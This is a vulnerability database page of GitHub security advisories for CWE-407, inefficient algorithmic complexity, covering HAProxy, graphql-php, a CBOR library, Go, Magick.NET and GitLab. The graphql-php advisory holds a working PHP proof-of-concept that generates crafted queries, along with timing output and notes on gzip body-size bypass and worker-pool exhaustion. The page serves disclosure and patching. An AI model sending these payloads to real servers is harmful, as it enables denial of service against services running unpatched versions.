CWE-407
Allowed-with-ReviewInefficient Algorithmic Complexity
Abstraction: Class · Status: Incomplete
An algorithm in a product has an inefficient worst-case computational complexity that may be detrimental to system performance and can be triggered by an attacker, typically using crafted manipulations that ensure that the worst case is being reached.
193 vulnerabilities reference this CWE, most recent first.
GHSA-FC36-5GC3-JMHX
Vulnerability from github – Published: 2025-11-19 12:30 – Updated: 2025-11-19 12:30Inefficient algorithm complexity in mjson in HAProxy allows remote attackers to cause a denial of service via specially crafted JSON requests.
{
"affected": [],
"aliases": [
"CVE-2025-11230"
],
"database_specific": {
"cwe_ids": [
"CWE-407"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-19T10:15:45Z",
"severity": "HIGH"
},
"details": "Inefficient algorithm complexity in mjson in HAProxy allows remote attackers to cause a denial of service via specially crafted JSON requests.",
"id": "GHSA-fc36-5gc3-jmhx",
"modified": "2025-11-19T12:30:20Z",
"published": "2025-11-19T12:30:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11230"
},
{
"type": "WEB",
"url": "https://www.haproxy.com/blog/october-2025-cve-2025-11230-haproxy-mjson-library-denial-of-service-vulnerability"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FC86-6RV6-2JPM
Vulnerability from github – Published: 2026-05-04 22:22 – Updated: 2026-05-04 22:22Summary
OverlappingFieldsCanBeMerged validation rule has O(n^2 x m^2) worst case via flattened inline fragments. The CVE-2023-26144 named-fragment cache does not cover inline fragments. A 364 KB query (200 outer x 100 inner inline fragments) consumes 117 seconds of CPU per request, with no comparison budget and no validation timeout.
Affected Component
src/Validator/Rules/OverlappingFieldsCanBeMerged.php
Description
graphql-php is a PHP port of graphql-js and inherits the same OverlappingFieldsCanBeMerged algorithm. The rule performs an explicit O(n^2) pairwise comparison loop over fields collected for each response name (collectConflictsWithin), and recurses into sub-selections via findConflict. When the rule receives a query in which several inline fragments select the same response name at multiple nesting levels, the cost compounds to O(n^2 x m^2) where n and m are the number of inline fragments at the outer and inner levels respectively.
graphql-php includes a comparedFragmentPairs PairSet cache (the same class of memoization fix tracked under CVE-2023-26144 / GHSA-9pv7-vfvm-6vr7), but it is keyed by named fragment identity. Inline fragments have no name; they are flattened into the parent $astAndDefs map by the case $selection instanceof InlineFragmentNode branch starting at OverlappingFieldsCanBeMerged.php:266, so they are never observed by the cache. Every pair must be re-compared from scratch on every nesting level.
This finding has been tested against the latest stable release webonyx/graphql-php@v15.31.4 running on PHP 8.3.30.
Root Cause
1. Pairwise O(n^2) loop (collectConflictsWithin)
// src/Validator/Rules/OverlappingFieldsCanBeMerged.php:306
$fieldsLength = count($fields);
if ($fieldsLength > 1) {
for ($i = 0; $i < $fieldsLength; ++$i) { // line 311
for ($j = $i + 1; $j < $fieldsLength; ++$j) { // line 312
$conflict = $this->findConflict(
$context,
$parentFieldsAreMutuallyExclusive,
$responseName,
$fields[$i],
$fields[$j]
);
// ...
}
}
}
count($fields) grows without bound when multiple inline fragments select the same response name in the same parent selection set.
2. Inline fragment flattening (internalCollectFieldsAndFragmentNames)
// src/Validator/Rules/OverlappingFieldsCanBeMerged.php:266
case $selection instanceof InlineFragmentNode:
$typeCondition = $selection->typeCondition;
$inlineFragmentType = $typeCondition === null
? $parentType
: AST::typeFromAST([$context->getSchema(), 'getType'], $typeCondition);
$this->internalCollectFieldsAndFragmentNames(
$context,
$inlineFragmentType,
$selection->selectionSet,
$astAndDefs, // flattened into the parent map
$fragmentNames
);
break;
N inline fragments selecting the same response name produce N entries in $astAndDefs[$responseName], which then trigger N*(N-1)/2 findConflict calls.
3. The named-fragment cache does not cover this code path
// src/Validator/Rules/OverlappingFieldsCanBeMerged.php:41
protected PairSet $comparedFragmentPairs;
// :54 (in __construct)
$this->comparedFragmentPairs = new PairSet();
PairSet is keyed by (fragmentName1, fragmentName2). Inline fragments have no name; they are folded into the parent selection set before the cache is even consulted. The CVE-2023-26144 fix has zero effect on this code path.
4. No comparison budget, no validation timeout
There is no counter shared across collectConflictsWithin, collectConflictsBetween, and the recursive findConflict calls. The rule runs to completion regardless of cost. graphql-php exposes no validate_timeout equivalent.
Proof of Concept
<?php
// composer require webonyx/graphql-php:v15.31.4
require __DIR__.'/vendor/autoload.php';
use GraphQL\Language\Parser;
use GraphQL\Validator\DocumentValidator;
use GraphQL\Utils\BuildSchema;
$schema = BuildSchema::build('type Query { field: Node } type Node { f: Node, g: Node, x: String }');
function gen(int $n, int $m): string {
$inner = implode(' ', array_fill(0, $m, '... on Node { x }'));
$outer = implode(' ', array_fill(0, $n, "... on Node { f { $inner } }"));
return "{ field { $outer } }";
}
echo " N M | size | validate ms | errors\n";
echo "---------|-----------|-------------|--------\n";
foreach ([[20,20],[50,50],[100,50],[100,100],[150,100],[200,100]] as [$n, $m]) {
$q = gen($n, $m);
$doc = Parser::parse($q);
$t0 = microtime(true);
$errors = DocumentValidator::validate($schema, $doc);
$elapsed = round((microtime(true) - $t0) * 1000);
printf("%4d %4d | %7dB | %10d | %d\n", $n, $m, strlen($q), $elapsed, count($errors));
}
Measured output on webonyx/graphql-php@v15.31.4, PHP 8.3.30, Linux x86_64
graphql-php version: v15.31.4
PHP version: 8.3.30
N M | size | validate ms | errors
---------|-----------|-------------|--------
20 20 | 7653B | 71 | 0
50 50 | 46113B | 2020 | 0
100 50 | 92213B | 7762 | 0
100 100 | 182213B | 29660 | 0
150 100 | 273313B | 66052 | 0
200 100 | 364413B | 117082 | 0
The growth confirms O(N^2) outer scaling: doubling N from 100 to 200 (with M=100 fixed) increases validation time from 29,660 ms to 117,082 ms, a factor of approximately 4. A single 364 KB query consumes 117 seconds of CPU on one PHP worker with no errors emitted, no timeout, and no remediation.
Impact
- Default-on rule:
OverlappingFieldsCanBeMergedis part of the rules registered byDocumentValidator::defaultRules()and is enabled by default inDocumentValidator::validate(). Every Lighthouse, Overblog/GraphQLBundle, wp-graphql, and Drupal GraphQL module application using the standard validation pipeline is exposed. - Pre-execution: the cost is in the validation phase.
QueryComplexityandQueryDepthrules cannot help: the example query has depth 3 and complexity 1. - PHP
max_execution_timehits the wall too late: a default Lighthouse/Laravel deployment ships withmax_execution_time = 30seconds. A single 100x100 request takes 29.6 seconds in graphql-php, just inside the limit. A 150x100 request takes 66 seconds and will be killed bymax_execution_time, but the worker has already burned 30 seconds of CPU per request before being killed; an attacker can sustain that load with low-RPS traffic. - Body-size and WAF bypass via gzip: the payload is the same string repeated N times. A 364 KB raw payload compresses to a few kilobytes via gzip. Any graphql-php deployment behind nginx, Apache, or a CDN with default body-size handling will accept the compressed request and decompress it before reaching the validator.
- php-fpm worker pool exhaustion: each request consumes one full PHP worker process. A typical php-fpm pool has 5-50 workers; an attacker firing a handful of parallel requests pins the entire pool for the duration of the validation.
- Existing CVE-2023-26144 fix is insufficient: the published
PairSetcache only memoizes named-fragment comparisons, not the inline-fragment flattening path.
This is the same vulnerability class as CVE-2023-26144 (partially fixed by named-fragment memoization only) and CVE-2023-28867 (fully fixed via the Adameit algorithm). Both fixes pre-date this finding.
Affected Versions
webonyx/graphql-php@v15.31.4(latest stable as of 2026-04-08): all measurements above were collected on this version with no custom configuration.- All versions of
webonyx/graphql-phpthat shipOverlappingFieldsCanBeMerged(effectively all 15.x and 14.x stable releases). They share the same code path and are believed vulnerable but were not retested individually.
Remediation
Three options ordered from best to minimal:
Option 1 -- Adopt the Adameit algorithm
Replace pairwise comparison with the uniqueness-check algorithm designed by Simon Adameit, used today by graphql-java (post CVE-2023-28867) and Sangria. The algorithm transforms conflict-freedom into a uniqueness requirement and runs in O(n log n) instead of O(n^2). See graphql/graphql-js issue #2185 for the design discussion and the Sangria PR #12 for the original implementation.
Option 2 -- Comparison budget
Add a comparison counter on OverlappingFieldsCanBeMerged shared across collectConflictsWithin, collectConflictsBetween, and the recursive findConflict calls. Throw a Error after a configurable threshold (for example 10,000 comparisons by default). This is the approach graphql-java implemented after CVE-2023-28867.
Option 3 -- Cap inline-fragment flattening
In internalCollectFieldsAndFragmentNames, cap count($astAndDefs[$responseName]) at a configurable limit (for example 1,000) and emit a validation error if exceeded. This is a narrower fix that targets the specific bypass path but does not address other potential O(n^2) surfaces.
Resources
- CVE-2023-26144 -- graphql-js (partial fix, named-fragment cache only)
- CVE-2023-28867 -- graphql-java (full fix via Adameit algorithm)
- graphql-js Issue #2185 -- Faster algorithm for OverlappingFieldsCanBeMerged
- Sangria PR #12 -- original optimised implementation
- GraphQL spec section 5.3.2 -- Field Selection Merging
- Companion advisory for this implementation:
GraphQL\Language\Parserparser stack overflow via deeply nested queries (Unbounded recursion in parser causes stack overflow on crafted nested input).
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "webonyx/graphql-php"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "15.32.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-407"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-04T22:22:09Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\n`OverlappingFieldsCanBeMerged` validation rule has `O(n^2 x m^2)` worst case via flattened inline fragments. The CVE-2023-26144 named-fragment cache does not cover inline fragments. A 364 KB query (200 outer x 100 inner inline fragments) consumes 117 seconds of CPU per request, with no comparison budget and no validation timeout.\n\n## Affected Component\n\n`src/Validator/Rules/OverlappingFieldsCanBeMerged.php`\n\n## Description\n\ngraphql-php is a PHP port of graphql-js and inherits the same `OverlappingFieldsCanBeMerged` algorithm. The rule performs an explicit `O(n^2)` pairwise comparison loop over fields collected for each response name (`collectConflictsWithin`), and recurses into sub-selections via `findConflict`. When the rule receives a query in which several inline fragments select the same response name at multiple nesting levels, the cost compounds to `O(n^2 x m^2)` where `n` and `m` are the number of inline fragments at the outer and inner levels respectively.\n\ngraphql-php includes a `comparedFragmentPairs` PairSet cache (the same class of memoization fix tracked under [CVE-2023-26144 / GHSA-9pv7-vfvm-6vr7](https://github.com/advisories/GHSA-9pv7-vfvm-6vr7)), but it is keyed by **named fragment** identity. Inline fragments have no name; they are flattened into the parent `$astAndDefs` map by the `case $selection instanceof InlineFragmentNode` branch starting at `OverlappingFieldsCanBeMerged.php:266`, so they are never observed by the cache. Every pair must be re-compared from scratch on every nesting level.\n\nThis finding has been tested against the **latest stable release `webonyx/graphql-php@v15.31.4`** running on PHP 8.3.30.\n\n## Root Cause\n\n### 1. Pairwise `O(n^2)` loop (`collectConflictsWithin`)\n\n```php\n// src/Validator/Rules/OverlappingFieldsCanBeMerged.php:306\n$fieldsLength = count($fields);\n\nif ($fieldsLength \u003e 1) {\n for ($i = 0; $i \u003c $fieldsLength; ++$i) { // line 311\n for ($j = $i + 1; $j \u003c $fieldsLength; ++$j) { // line 312\n $conflict = $this-\u003efindConflict(\n $context,\n $parentFieldsAreMutuallyExclusive,\n $responseName,\n $fields[$i],\n $fields[$j]\n );\n // ...\n }\n }\n}\n```\n\n`count($fields)` grows without bound when multiple inline fragments select the same response name in the same parent selection set.\n\n### 2. Inline fragment flattening (`internalCollectFieldsAndFragmentNames`)\n\n```php\n// src/Validator/Rules/OverlappingFieldsCanBeMerged.php:266\ncase $selection instanceof InlineFragmentNode:\n $typeCondition = $selection-\u003etypeCondition;\n $inlineFragmentType = $typeCondition === null\n ? $parentType\n : AST::typeFromAST([$context-\u003egetSchema(), \u0027getType\u0027], $typeCondition);\n\n $this-\u003einternalCollectFieldsAndFragmentNames(\n $context,\n $inlineFragmentType,\n $selection-\u003eselectionSet,\n $astAndDefs, // flattened into the parent map\n $fragmentNames\n );\n break;\n```\n\n`N` inline fragments selecting the same response name produce `N` entries in `$astAndDefs[$responseName]`, which then trigger `N*(N-1)/2` `findConflict` calls.\n\n### 3. The named-fragment cache does not cover this code path\n\n```php\n// src/Validator/Rules/OverlappingFieldsCanBeMerged.php:41\nprotected PairSet $comparedFragmentPairs;\n\n// :54 (in __construct)\n$this-\u003ecomparedFragmentPairs = new PairSet();\n```\n\n`PairSet` is keyed by `(fragmentName1, fragmentName2)`. Inline fragments have no name; they are folded into the parent selection set before the cache is even consulted. The CVE-2023-26144 fix has zero effect on this code path.\n\n### 4. No comparison budget, no validation timeout\n\nThere is no counter shared across `collectConflictsWithin`, `collectConflictsBetween`, and the recursive `findConflict` calls. The rule runs to completion regardless of cost. graphql-php exposes no `validate_timeout` equivalent.\n\n## Proof of Concept\n\n```php\n\u003c?php\n// composer require webonyx/graphql-php:v15.31.4\nrequire __DIR__.\u0027/vendor/autoload.php\u0027;\n\nuse GraphQL\\Language\\Parser;\nuse GraphQL\\Validator\\DocumentValidator;\nuse GraphQL\\Utils\\BuildSchema;\n\n$schema = BuildSchema::build(\u0027type Query { field: Node } type Node { f: Node, g: Node, x: String }\u0027);\n\nfunction gen(int $n, int $m): string {\n $inner = implode(\u0027 \u0027, array_fill(0, $m, \u0027... on Node { x }\u0027));\n $outer = implode(\u0027 \u0027, array_fill(0, $n, \"... on Node { f { $inner } }\"));\n return \"{ field { $outer } }\";\n}\n\necho \" N M | size | validate ms | errors\\n\";\necho \"---------|-----------|-------------|--------\\n\";\nforeach ([[20,20],[50,50],[100,50],[100,100],[150,100],[200,100]] as [$n, $m]) {\n $q = gen($n, $m);\n $doc = Parser::parse($q);\n $t0 = microtime(true);\n $errors = DocumentValidator::validate($schema, $doc);\n $elapsed = round((microtime(true) - $t0) * 1000);\n printf(\"%4d %4d | %7dB | %10d | %d\\n\", $n, $m, strlen($q), $elapsed, count($errors));\n}\n```\n\n### Measured output on `webonyx/graphql-php@v15.31.4`, PHP 8.3.30, Linux x86_64\n\n```\ngraphql-php version: v15.31.4\nPHP version: 8.3.30\n\n N M | size | validate ms | errors\n---------|-----------|-------------|--------\n 20 20 | 7653B | 71 | 0\n 50 50 | 46113B | 2020 | 0\n 100 50 | 92213B | 7762 | 0\n 100 100 | 182213B | 29660 | 0\n 150 100 | 273313B | 66052 | 0\n 200 100 | 364413B | 117082 | 0\n```\n\nThe growth confirms `O(N^2)` outer scaling: doubling N from 100 to 200 (with M=100 fixed) increases validation time from 29,660 ms to 117,082 ms, a factor of approximately 4. A single 364 KB query consumes **117 seconds** of CPU on one PHP worker with no errors emitted, no timeout, and no remediation.\n\n## Impact\n\n- **Default-on rule**: `OverlappingFieldsCanBeMerged` is part of the rules registered by `DocumentValidator::defaultRules()` and is enabled by default in `DocumentValidator::validate()`. Every Lighthouse, Overblog/GraphQLBundle, wp-graphql, and Drupal GraphQL module application using the standard validation pipeline is exposed.\n- **Pre-execution**: the cost is in the validation phase. `QueryComplexity` and `QueryDepth` rules cannot help: the example query has depth 3 and complexity 1.\n- **PHP `max_execution_time` hits the wall too late**: a default Lighthouse/Laravel deployment ships with `max_execution_time = 30` seconds. A single 100x100 request takes 29.6 seconds in graphql-php, just inside the limit. A 150x100 request takes 66 seconds and will be killed by `max_execution_time`, but the worker has already burned 30 seconds of CPU per request before being killed; an attacker can sustain that load with low-RPS traffic.\n- **Body-size and WAF bypass via gzip**: the payload is the same string repeated N times. A 364 KB raw payload compresses to a few kilobytes via gzip. Any graphql-php deployment behind nginx, Apache, or a CDN with default body-size handling will accept the compressed request and decompress it before reaching the validator.\n- **php-fpm worker pool exhaustion**: each request consumes one full PHP worker process. A typical php-fpm pool has 5-50 workers; an attacker firing a handful of parallel requests pins the entire pool for the duration of the validation.\n- **Existing CVE-2023-26144 fix is insufficient**: the published `PairSet` cache only memoizes named-fragment comparisons, not the inline-fragment flattening path.\n\nThis is the same vulnerability class as **CVE-2023-26144** (partially fixed by named-fragment memoization only) and **CVE-2023-28867** (fully fixed via the Adameit algorithm). Both fixes pre-date this finding.\n\n## Affected Versions\n\n- **`webonyx/graphql-php@v15.31.4`** (latest stable as of 2026-04-08): all measurements above were collected on this version with no custom configuration.\n- All versions of `webonyx/graphql-php` that ship `OverlappingFieldsCanBeMerged` (effectively all 15.x and 14.x stable releases). They share the same code path and are believed vulnerable but were not retested individually.\n\n## Remediation\n\nThree options ordered from best to minimal:\n\n### Option 1 -- Adopt the Adameit algorithm\n\nReplace pairwise comparison with the uniqueness-check algorithm designed by Simon Adameit, used today by graphql-java (post CVE-2023-28867) and Sangria. The algorithm transforms conflict-freedom into a uniqueness requirement and runs in `O(n log n)` instead of `O(n^2)`. See [graphql/graphql-js issue #2185](https://github.com/graphql/graphql-js/issues/2185) for the design discussion and the [Sangria PR #12](https://github.com/sangria-graphql-org/sangria/pull/12) for the original implementation.\n\n### Option 2 -- Comparison budget\n\nAdd a comparison counter on `OverlappingFieldsCanBeMerged` shared across `collectConflictsWithin`, `collectConflictsBetween`, and the recursive `findConflict` calls. Throw a `Error` after a configurable threshold (for example 10,000 comparisons by default). This is the approach graphql-java implemented after CVE-2023-28867.\n\n### Option 3 -- Cap inline-fragment flattening\n\nIn `internalCollectFieldsAndFragmentNames`, cap `count($astAndDefs[$responseName])` at a configurable limit (for example 1,000) and emit a validation error if exceeded. This is a narrower fix that targets the specific bypass path but does not address other potential `O(n^2)` surfaces.\n\n## Resources\n\n- [CVE-2023-26144 -- graphql-js (partial fix, named-fragment cache only)](https://github.com/advisories/GHSA-9pv7-vfvm-6vr7)\n- [CVE-2023-28867 -- graphql-java (full fix via Adameit algorithm)](https://github.com/advisories/GHSA-p4qx-6w5p-4rj2)\n- [graphql-js Issue #2185 -- Faster algorithm for OverlappingFieldsCanBeMerged](https://github.com/graphql/graphql-js/issues/2185)\n- [Sangria PR #12 -- original optimised implementation](https://github.com/sangria-graphql-org/sangria/pull/12)\n- [GraphQL spec section 5.3.2 -- Field Selection Merging](https://spec.graphql.org/October2021/#sec-Field-Selection-Merging)\n- Companion advisory for this implementation: `GraphQL\\Language\\Parser` parser stack overflow via deeply nested queries (Unbounded recursion in parser causes stack overflow on crafted nested input).",
"id": "GHSA-fc86-6rv6-2jpm",
"modified": "2026-05-04T22:22:09Z",
"published": "2026-05-04T22:22:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/webonyx/graphql-php/security/advisories/GHSA-fc86-6rv6-2jpm"
},
{
"type": "WEB",
"url": "https://github.com/graphql/graphql-js/issues/2185"
},
{
"type": "WEB",
"url": "https://github.com/sangria-graphql-org/sangria/pull/12"
},
{
"type": "WEB",
"url": "https://github.com/webonyx/graphql-php/commit/996adcfce33442f6fc01214777bc8620cc142d85"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-9pv7-vfvm-6vr7"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-p4qx-6w5p-4rj2"
},
{
"type": "PACKAGE",
"url": "https://github.com/webonyx/graphql-php"
},
{
"type": "WEB",
"url": "https://github.com/webonyx/graphql-php/releases/tag/v15.32.2"
},
{
"type": "WEB",
"url": "https://spec.graphql.org/October2021/#sec-Field-Selection-Merging"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "webonyx/graphql-php has quadratic validation cost in OverlappingFieldsCanBeMerged via inline fragments"
}
GHSA-FJ2W-WFGV-MWQ6
Vulnerability from github – Published: 2022-01-21 23:21 – Updated: 2026-01-22 20:53Impact
Due to this library's use of an inefficient algorithm, it is vulnerable to a denial of service attack when a maliciously crafted input is passed to DecodeFromBytes or other CBOR decoding mechanisms in this library.
Affected versions include versions 4.0.0 through 4.5.0.
This vulnerability was privately reported to me.
Patches
This issue has been fixed in version 4.5.1. Users should use the latest version of this library. (The latest version is not necessarily 4.5.1. Check the README for this library's repository to see the latest version's version number.)
Workarounds
Again, users should use the latest version of this library.
In the meantime, note that the inputs affected by this issue are all CBOR maps or contain CBOR maps. An input that decodes to a single CBOR object is not capable of containing a CBOR map if—
- it begins with a byte other than 0x80 through 0xDF, or
- it does not contain a byte in the range 0xa0 through 0xBF.
Such an input is not affected by this vulnerability and an application can choose to perform this check before passing it to a CBOR decoding mechanism.
For more information
If you have any questions or comments about this advisory: * Open an issue in the CBOR repository.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.upokecenter:cbor"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.5.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-23684"
],
"database_specific": {
"cwe_ids": [
"CWE-407"
],
"github_reviewed": true,
"github_reviewed_at": "2022-01-19T16:15:17Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Impact\nDue to this library\u0027s use of an inefficient algorithm, it is vulnerable to a denial of service attack when a maliciously crafted input is passed to `DecodeFromBytes` or other CBOR decoding mechanisms in this library. \n\nAffected versions _include_ versions 4.0.0 through 4.5.0.\n\nThis vulnerability was privately reported to me.\n\n### Patches\nThis issue has been fixed in version 4.5.1. Users should use the latest version of this library. (The latest version is not necessarily 4.5.1. Check the README for [this library\u0027s repository](https://github.com/peteroupc/CBOR-Java) to see the latest version\u0027s version number.)\n\n### Workarounds\n\nAgain, users should use the latest version of this library.\n\nIn the meantime, note that the inputs affected by this issue are all CBOR maps or contain CBOR maps. An input that decodes to a single CBOR object is not capable of containing a CBOR map if\u0026mdash;\n\n- it begins with a byte other than 0x80 through 0xDF, or\n- it does not contain a byte in the range 0xa0 through 0xBF.\n\nSuch an input is not affected by this vulnerability and an application can choose to perform this check before passing it to a CBOR decoding mechanism.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [the CBOR repository](https://github.com/peteroupc/CBOR-Java).",
"id": "GHSA-fj2w-wfgv-mwq6",
"modified": "2026-01-22T20:53:20Z",
"published": "2022-01-21T23:21:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/peteroupc/CBOR-Java/security/advisories/GHSA-fj2w-wfgv-mwq6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-23684"
},
{
"type": "PACKAGE",
"url": "https://github.com/peteroupc/CBOR-Java"
},
{
"type": "WEB",
"url": "https://vulncheck.com/advisories/vc-advisory-GHSA-fj2w-wfgv-mwq6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Denial of service in CBOR library"
}
GHSA-FRHW-MQJ2-WXW2
Vulnerability from github – Published: 2025-10-30 00:31 – Updated: 2025-11-05 00:31Due to the design of the name constraint checking algorithm, the processing time of some inputs scals non-linearly with respect to the size of the certificate. This affects programs which validate arbitrary certificate chains.
{
"affected": [],
"aliases": [
"CVE-2025-58187"
],
"database_specific": {
"cwe_ids": [
"CWE-407"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-29T23:16:19Z",
"severity": "MODERATE"
},
"details": "Due to the design of the name constraint checking algorithm, the processing time of some inputs scals non-linearly with respect to the size of the certificate. This affects programs which validate arbitrary certificate chains.",
"id": "GHSA-frhw-mqj2-wxw2",
"modified": "2025-11-05T00:31:31Z",
"published": "2025-10-30T00:31:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58187"
},
{
"type": "WEB",
"url": "https://go.dev/cl/709854"
},
{
"type": "WEB",
"url": "https://go.dev/issue/75681"
},
{
"type": "WEB",
"url": "https://groups.google.com/g/golang-announce/c/4Emdl2iQ_bI"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2025-4007"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2025/10/08/1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-G5MF-WQQ5-VWG6
Vulnerability from github – Published: 2026-05-18 20:33 – Updated: 2026-06-11 14:04Because of a missing check in the MNG coder it would be possible to read more images than the list limit policy would allow resulting in excessive resource use.
{
"affected": [
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-AnyCPU"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.13.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-HDRI-AnyCPU"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.13.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-HDRI-OpenMP-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.13.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-HDRI-OpenMP-x64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.13.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-HDRI-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.13.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-HDRI-x64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.13.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-HDRI-x86"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.13.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-OpenMP-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.13.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-OpenMP-x64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.13.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.13.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-x64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.13.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-x86"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.13.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q8-AnyCPU"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.13.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q8-OpenMP-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.13.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q8-OpenMP-x64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.13.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q8-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.13.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q8-x64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.13.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q8-x86"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.13.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45664"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-407",
"CWE-674"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-18T20:33:59Z",
"nvd_published_at": "2026-06-10T22:16:58Z",
"severity": "MODERATE"
},
"details": "Because of a missing check in the MNG coder it would be possible to read more images than the list limit policy would allow resulting in excessive resource use.",
"id": "GHSA-g5mf-wqq5-vwg6",
"modified": "2026-06-11T14:04:48Z",
"published": "2026-05-18T20:33:59Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-g5mf-wqq5-vwg6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45664"
},
{
"type": "PACKAGE",
"url": "https://github.com/ImageMagick/ImageMagick"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "ImageMagick: Policy Bypass in MNG coder could "
}
GHSA-G8V2-8WGJ-GWX8
Vulnerability from github – Published: 2024-12-12 12:31 – Updated: 2024-12-12 12:31An issue has been discovered in GitLab CE/EE affecting all versions from 9.4 before 17.4.6, 17.5 before 17.5.4, and 17.6 before 17.6.2. An attacker could cause a denial of service with requests for diff files on a commit or merge request.
{
"affected": [],
"aliases": [
"CVE-2024-8233"
],
"database_specific": {
"cwe_ids": [
"CWE-407"
],
